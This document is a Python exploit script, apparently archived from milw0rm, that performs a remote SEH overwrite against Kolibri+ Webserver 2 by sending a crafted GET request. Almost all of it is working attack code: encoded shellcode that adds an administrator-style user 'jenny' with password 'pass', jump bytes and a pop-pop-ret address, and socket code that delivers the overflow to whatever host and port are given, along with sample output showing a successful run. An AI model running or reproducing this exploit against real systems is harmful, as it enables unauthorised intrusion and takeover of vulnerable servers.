Kolibri+ Webserver 2 - (GET Request) Remote SEH Overwrite Exploit

                                                #!/usr/bin/python
#
# Could not get this to work on XP SP3. php5ts.dll is the only module with safe seh off but could not get the pop pop ret
# to work correctly despite the large number of usable addresses that were tested.
#
# $ ./kolibri.py 192.168.1.146 8080
#
# [*] Kolibri+ Webserver 2 SEH Overwrite
# [*] Written by blake
# [*] Tested on Windows XP SP 1
# [*] Denial of Service found by Usman Saeed
#
# [+] Connecting to 192.168.1.146 on port 8080
# [+] Sending payload
# [+] Done. User jenny created with the password of pass on 192.168.1.146

import socket, sys

print "\n[*] Kolibri+ Webserver 2 SEH Overwrite"
print "[*] Written by blake"
print "[*] Tested on Windows XP SP 1"
print "[*] Denial of Service found by Usman Saeed\n"

if len(sys.argv)!= 3:
	print "[*] Usage: %s <ip> <port>"
	sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

# windows/adduser - 446 bytes Encoder: x86/alpha_mixed
# USER=jenny, EXITFUNC=seh, PASS=pass

shellcode = (
"\x89\xe6\xdb\xc8\xd9\x76\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x4b\x58\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x50"
"\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x42\x58\x43\x31\x4a\x4f"
"\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31"
"\x49\x50\x4c\x59\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45\x57\x49"
"\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47\x4b"
"\x51\x44\x51\x34\x45\x54\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x46"
"\x44\x45\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b"
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45"
"\x51\x4a\x4b\x4b\x39\x51\x4c\x47\x54\x45\x54\x49\x53\x51\x4f"
"\x50\x31\x4a\x56\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46\x50"
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d"
"\x4c\x4b\x43\x58\x45\x58\x4d\x59\x4a\x58\x4c\x43\x49\x50\x42"
"\x4a\x50\x50\x45\x38\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x43\x58"
"\x4a\x38\x4b\x4e\x4c\x4a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42"
"\x43\x42\x4d\x43\x54\x46\x4e\x43\x55\x43\x48\x43\x55\x51\x30"
"\x46\x4f\x42\x43\x51\x30\x42\x4e\x42\x45\x44\x34\x47\x50\x44"
"\x35\x42\x53\x45\x35\x43\x42\x51\x30\x43\x5a\x43\x55\x42\x4e"
"\x42\x4e\x43\x49\x47\x50\x42\x50\x43\x51\x43\x43\x43\x43\x51"
"\x30\x46\x4f\x51\x51\x51\x54\x51\x54\x51\x30\x51\x36\x47\x56"
"\x47\x50\x42\x4e\x45\x35\x44\x34\x47\x50\x42\x4c\x42\x4f\x43"
"\x53\x43\x51\x42\x4c\x43\x57\x42\x52\x42\x4f\x42\x55\x44\x30"
"\x51\x30\x51\x51\x45\x34\x42\x4d\x42\x49\x42\x4e\x45\x39\x44"
"\x33\x44\x34\x43\x42\x43\x51\x44\x34\x42\x4f\x42\x52\x43\x43"
"\x47\x50\x43\x5a\x45\x35\x42\x4e\x42\x4e\x43\x49\x51\x30\x46"
"\x4f\x47\x31\x51\x54\x47\x34\x43\x30\x41\x41")

payload = "\x41" * 8			# junk buffer
payload += "\x90" * 10			# nop sled
sc = shellcode				# 446 bytes of shellcode
jump_near = "\xe9\x34\xfe\xff\xff"	# jump near -460 bytes
next_seh = "\xeb\xf9\xff\xff"		# short jump back -7 bytes
seh = "\x6f\x2a\xe6\x77"		# p/p/r from kernel32.dll
junk = "\x41" * 424			# junk buffer

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	s.connect((host,port))
	print "[+] Sending payload"
	s.send("GET /index.html" + payload + sc + jump_near + next_seh + seh + junk + " HTTP/1.0\r\n\r\n")
	s.close()
	print "[+] Done. User jenny created with the password of pass on %s\n" % host
except:
	print "[x] Could not connect!"

# milw0rm.com [2009-09-11]